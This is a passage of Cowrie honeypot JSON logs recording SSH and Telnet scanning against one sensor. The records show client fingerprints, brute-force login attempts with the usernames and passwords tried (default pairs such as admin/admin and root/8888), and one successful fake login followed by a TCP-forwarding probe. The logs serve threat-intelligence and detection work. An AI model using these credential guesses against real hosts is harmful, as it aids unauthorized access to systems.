98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:09.900986Z","src_ip":"103.15.226.202","session":"eb3d0a30ba2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888","message":"login attempt [root/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:10.662369Z","src_ip":"103.15.226.202","session":"eb3d0a30ba2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24231743812561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:11.193108Z","src_ip":"45.148.121.166","session":"99c0630a9e74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:11.919085Z","src_ip":"103.15.226.202","session":"eb3d0a30ba2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41644,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ad28d7fb8f","protocol":"telnet","message":"New connection: 128.199.8.54:41644 (159.203.135.109:23) [session: b1ad28d7fb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:37.802696Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43860,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e87f6d0139","protocol":"telnet","message":"New connection: 128.199.8.54:43860 (159.203.135.109:23) [session: 67e87f6d0139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:38.836698Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57234,"dst_ip":"159.203.135.109","dst_port":23,"session":"809b4d442593","protocol":"telnet","message":"New connection: 128.199.8.54:57234 (159.203.135.109:23) [session: 809b4d442593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:46.283108Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59910,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb42e7939a7","protocol":"telnet","message":"New connection: 128.199.8.54:59910 (159.203.135.109:23) [session: 5fb42e7939a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:46.503567Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57736,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f42e62715e3","protocol":"telnet","message":"New connection: 128.199.8.54:57736 (159.203.135.109:23) [session: 4f42e62715e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:48.504679Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39680,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc20d9107af6","protocol":"telnet","message":"New connection: 128.199.8.54:39680 (159.203.135.109:23) [session: bc20d9107af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:50.397588Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2518,"dst_ip":"10.17.0.5","dst_port":22,"session":"b284c103e2cc","protocol":"ssh","message":"New connection: 87.251.64.176:2518 (10.17.0.5:22) [session: b284c103e2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:04.686347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:04.694212Z","src_ip":"87.251.64.176","session":"b284c103e2cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:04.792025Z","src_ip":"87.251.64.176","session":"b284c103e2cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:05.085466Z","src_ip":"87.251.64.176","session":"b284c103e2cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:05.194608Z","session":"b284c103e2cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:05.292835Z","src_ip":"87.251.64.176","session":"b284c103e2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:05.398223Z","src_ip":"87.251.64.176","session":"b284c103e2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.584537982940674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:12.387142Z","src_ip":"128.199.8.54","session":"b1ad28d7fb8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10515809059143,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:14.941676Z","src_ip":"128.199.8.54","session":"67e87f6d0139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18361711502075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:18.466595Z","src_ip":"128.199.8.54","session":"809b4d442593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37295722961426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:20.876433Z","src_ip":"128.199.8.54","session":"5fb42e7939a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d81ad44d3a40","protocol":"telnet","message":"New connection: 128.199.8.54:44822 (159.203.135.109:23) [session: d81ad44d3a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:23.216801Z"}
{"eventid":"cowrie.session.closed","duration":33.89917707443237,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:24.296617Z","src_ip":"128.199.8.54","session":"bc20d9107af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.39175605773926,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:32.896348Z","src_ip":"128.199.8.54","session":"4f42e62715e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41684,"dst_ip":"159.203.135.109","dst_port":22,"session":"20cea6bd54b1","protocol":"ssh","message":"New connection: 2.57.122.208:41684 (159.203.135.109:22) [session: 20cea6bd54b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:33.942660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:34.124494Z","src_ip":"2.57.122.208","session":"20cea6bd54b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:34.128344Z","src_ip":"2.57.122.208","session":"20cea6bd54b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:35.548079Z","src_ip":"2.57.122.208","session":"20cea6bd54b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:36.999566Z","src_ip":"2.57.122.208","session":"20cea6bd54b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.630260705947876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:25:54.846974Z","src_ip":"128.199.8.54","session":"d81ad44d3a40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47362,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0c98dc3f4e1","protocol":"telnet","message":"New connection: 128.199.8.54:47362 (159.203.135.109:23) [session: b0c98dc3f4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:05.365120Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52746,"dst_ip":"159.203.135.109","dst_port":23,"session":"714df5dabc2b","protocol":"telnet","message":"New connection: 128.199.8.54:52746 (159.203.135.109:23) [session: 714df5dabc2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:08.098947Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52036,"dst_ip":"159.203.135.109","dst_port":23,"session":"81149a06e21a","protocol":"telnet","message":"New connection: 128.199.8.54:52036 (159.203.135.109:23) [session: 81149a06e21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:08.749696Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39604,"dst_ip":"159.203.135.109","dst_port":23,"session":"3278e261c3a9","protocol":"telnet","message":"New connection: 128.199.8.54:39604 (159.203.135.109:23) [session: 3278e261c3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:15.877017Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20619,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffc6fec404cf","protocol":"telnet","message":"New connection: 212.55.149.117:20619 (10.17.0.5:23) [session: ffc6fec404cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:19.114725Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":51970,"dst_ip":"10.17.0.5","dst_port":22,"session":"74312b1f8654","protocol":"ssh","message":"New connection: 2.57.121.25:51970 (10.17.0.5:22) [session: 74312b1f8654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:28.870306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:28.875901Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:28.983588Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16031982","message":"login attempt [user/16031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:29.477796Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16011978","message":"login attempt [user/16011978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:30.586344Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15121978","message":"login attempt [user/15121978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:31.695150Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15121973","message":"login attempt [user/15121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:32.804241Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150984","message":"login attempt [user/150984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:33.912965Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:35.021048Z","src_ip":"2.57.121.25","session":"74312b1f8654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aad5fa9adc3","protocol":"telnet","message":"New connection: 128.199.8.54:51390 (159.203.135.109:23) [session: 9aad5fa9adc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:36.390841Z"}
{"eventid":"cowrie.session.closed","duration":36.028475522994995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:41.393463Z","src_ip":"128.199.8.54","session":"b0c98dc3f4e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48950552940369,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:41.588329Z","src_ip":"128.199.8.54","session":"714df5dabc2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.017226696014404,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:43.766840Z","src_ip":"128.199.8.54","session":"81149a06e21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.65921115875244,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:26:57.536107Z","src_ip":"128.199.8.54","session":"3278e261c3a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58780,"dst_ip":"159.203.135.109","dst_port":22,"session":"53a4b6430c54","protocol":"ssh","message":"New connection: 80.94.92.186:58780 (159.203.135.109:22) [session: 53a4b6430c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:00.838907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:00.941963Z","src_ip":"80.94.92.186","session":"53a4b6430c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:01.038650Z","src_ip":"80.94.92.186","session":"53a4b6430c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:01.746832Z","src_ip":"80.94.92.186","session":"53a4b6430c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:04.263373Z","src_ip":"80.94.92.186","session":"53a4b6430c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76264953613281,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:11.153378Z","src_ip":"128.199.8.54","session":"9aad5fa9adc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57668,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f3c5b46ddf","protocol":"telnet","message":"New connection: 212.55.149.117:57668 (10.17.0.5:23) [session: 81f3c5b46ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:13.633948Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a4e414adbf","protocol":"ssh","message":"New connection: 103.15.226.202:55072 (10.17.0.5:22) [session: 57a4e414adbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:46.403024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:27:46.407249Z","src_ip":"103.15.226.202","session":"57a4e414adbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"S